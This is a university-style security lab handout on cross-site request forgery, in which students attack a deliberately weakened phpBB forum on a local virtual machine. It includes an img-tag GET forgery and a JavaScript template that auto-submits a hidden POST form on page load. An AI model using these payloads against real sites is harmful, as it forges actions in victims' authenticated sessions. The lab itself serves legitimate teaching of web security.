Cross-Site Request Forgery (CSRF) Attack Lab

1 Overview

The objective of this lab is to help students understand cross-site-request forgery (CSRF or XSRF) attacks. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity.

In this lab, you will be attacking a web-based message board system using CSRF attacks. We modified an open-source message board application called `phpBB` to make it vulnerable to CSRF attacks. The original application has implemented several countermeasures for avoiding CSRF attacks.

2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the `phpBB` message board web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
% sudo apache2ctl start
or
% sudo service apache2 start
```

The `phpBB` Web Application. The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `phpBB` server. The password information can be obtained from the posts on the front page. You can access the `phpBB` server (for this lab) using the following URLs (the apache server needs to be started first):

URL	Description	Directory
`http://www.csrflabattacker.com`	Attacker web site	/var/www/CSRF/Attacker/
`http://www.csrflabphpbb.com`	Vulnerable phpBB	/var/www/CSRF/CSRFLabPhpbb/
`http://www.originalphpbb.com`	Original phpBB	/var/www/OriginalPhpbb/

Configuring DNS. These URLs are only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain names of these URLs to the virtual machine's local IP address (`127.0.0.1`). Basically, we added the following three entries to the `/etc/hosts` file:

```
127.0.0.1     www.csrflabattacker.com
127.0.0.1     www.csrflabphpbb.com
127.0.0.1     www.originalphpbb.com
```

If your web server and browser are running on two different machines, you need to modify "`/etc/hosts`" on the browser's machine accordingly to map these URLs to the web server's IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory "`/etc/apache2/sites-available`" contains the necessary directives for the configuration:

1. The directive "`NameVirtualHost *`" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Note for Instructors

This lab may be conducted in a supervised lab environment. The instructor may provide the following background information to students at the beginning of the lab session:

1. Information on how to use the preconfigured virtual machine.

2. How to use the Firefox web browser and *LiveHTTPHeaders* Extension.

3. How to access the source code for the web applications.

3 Background of CSRF Attacks

A CSRF attack always involved three actors: a trusted site, a victim user, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user's web browser.
3. The victim user visits a malicious site.
4. The malicious site's web page sends a request to the trusted site from the victim user's browser.
5. The web browser automatically attaches the session cookie to the malicious request because it is targeted for the trusted site.
6. The trusted site processes the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as *img*, *iframe*, *frame*, and *form* have no restrictions on the URL that can be used in their attribute. HTML *img*, *iframe*, and *frame* can be used for forging GET requests. The HTML *form* tag can be used for forging POST requests. The tasks in this lab involve forging both GET and POST requests for a target application.

4 Lab Tasks

For the lab task, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable `phpBB` accessible at `www.csrflabphpbb.com` inside the virtual machine. The second web site is an attacker web site that the student would setup to attack the trusted site. The attacker web site is accessible via `www.csrflabattacker.com` inside the virtual machine.

4.1 Task 1: Attack using HTTP GET request

In the vulnerable `phpBB`, a new topic can be posted using a GET request targeted for the following URL:

```
http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1
```

The URL has two parameters, `mode=newtopic` and `f=1`. These parameters tell the server-side script `posting.php` that the request is intended to post a new message to forum 1.

To forge a request to post a new topic to the forum, the malicious site can use the URL in a HTML *img* tag inside a web page.

```
<html>
<img src="http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1">
</html>
```

Whenever the victim user visits the crafted web page in the malicious site, the web browser automatically issues a HTTP `GET` request for the URL contained in the *img* tag. Because the web browser automatically attaches the session cookie to the request, the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user's session integrity.

For this task, you will observe the structure of a different request for posting a new message in the vulnerable `phpBB` application and then try to forge it from the malicious site. You can use the `LiveHTTPHeaders` extensions to observe the contents of the HTTP requests. You will see something similar to the following:

```
http://www.csrflabphpbb.com/posting.php?subject=hello&
addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5
Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=This+is+
my+message&topictype=0&poll_title=&add_poll_option_text=&
poll_length=&mode=newtopic&f=1&post=Submit
```

Observe the request structure for posting a new message to the forum and then use this to forge a new request to the application. When the victim user visits the malicious web page, a malicious request for posting a message should be injected into the victim's active session with `phpBB`.

4.2 Task 2: Attack in HTTP `POST` request

HTTP `GET` requests are typically used for requests that do not involve any side effects. The original `phpBB` does not use `GET` requests for posting a new message to the forum. We modified the source code of `phpBB` so that new messages can be posted using `GET` requests to facilitate task 1.

In this task, you will forge a POST request that modifies the profile information in `phpBB` - `www.csrflabphpbb.com`. In a HTTP `POST` request, the parameters for the request are provided in the HTTP message body. Forging HTTP `POST` request is slightly more difficult. A HTTP `POST` message for the trusted site can be generated using a *form* tag from the malicious site. Furthermore, we need a JavaScript program to automatically submit the form.

The server-side script `profile.php` allows users to modify their profile information using a `POST` request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using `LiveHTTPHeaders`. You may expect to see something similar to the following:

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&
password_confirm=&icq=&aim=&msn=&yim=&website=&location=&
occupation=&interests=&signature=I+am+good+guy&viewemail=1&
hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=0&
allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&
style=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&
agreed=true&coppa=0&user_id=2&
current_email=admin%40seed.com&submit=Submit
```

Now, using the information you gathered from observing the request, you can construct a web page that posts the message. To help you write a JavaScript program to send a HTTP post request, we provide the sample code in Figure 1. This code can also be downloaded from the lab website. You can use this sample code to construct your malicious web site for the CSRF attacks.

4.3 Task 3: Understanding `phpBB`'s Countermeasures

`phpBB` has implemented some countermeasures to defend against CSRF attacks. To allow the attacks in Task 1 work, we had to modify `phpBB` code to introduce the vulnerability. Originally, `posting.php` only takes POST request, not `GET`. However, from Task 2, we know that changing `GET` to `POST` will not prevent the CSRF attacks, it simply makes the attacks a little bit more difficult. `PhpBB` adopts another mechanism to counter the CSRF attacks. It includes the following information in the body of the request:

```
<html><body><h1>
This page sends a HTTP POST request onload.
</h1>
<script>

function post(url,fields)
{
   //create a <form> element.
   var p = document.createElement('form');

   //construct the form
   p.action = url;
   p.innerHTML = fields;
   p.target = '_self';
   p.method = 'post';

   //append the form to this web.
   document.body.appendChild(p);

   //submit the form
   p.submit();
}

function csrf_hack()
{
   var fields;

   // You should replace the following 3 lines with your form parameters
   fields += "<input type='hidden' name='username' value='Alice'>";
   fields += "<input type='hidden' name='transfer' value='10000'>";
   fields += "<input type='hidden' name='to' value='Bot'>";
   // Note: don't add an element named 'submit' here;
   //       otherwise, p.submit() will not be invoked.
   //       'Submit' will work.
   post('http://www.example.com',fields);
}

window.onload = function(){csrf_hack();}
</script>
</body></html>
```

Figure 1: Sample JavaScript program

```
sid=b349b781ecbb2268c4caf77f530c55ac
```

This `sid` value is exactly the same as `phpbb2mysql_sid` in the cookie. The script in `posting.php` will check whether this `sid` value is the same as that in the cookie. If not, the request will fail.

In this task, you need to use the original `phpBB` forum accessible at `http://www.originalphpbb.com`, try the attacks again, and describe your observations. Can you bypass the countermeasures? If not, please describe why.

5 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, `Wireshark`, and/or screen shots. You also need to provide explanation to the observations that are interesting or surprising.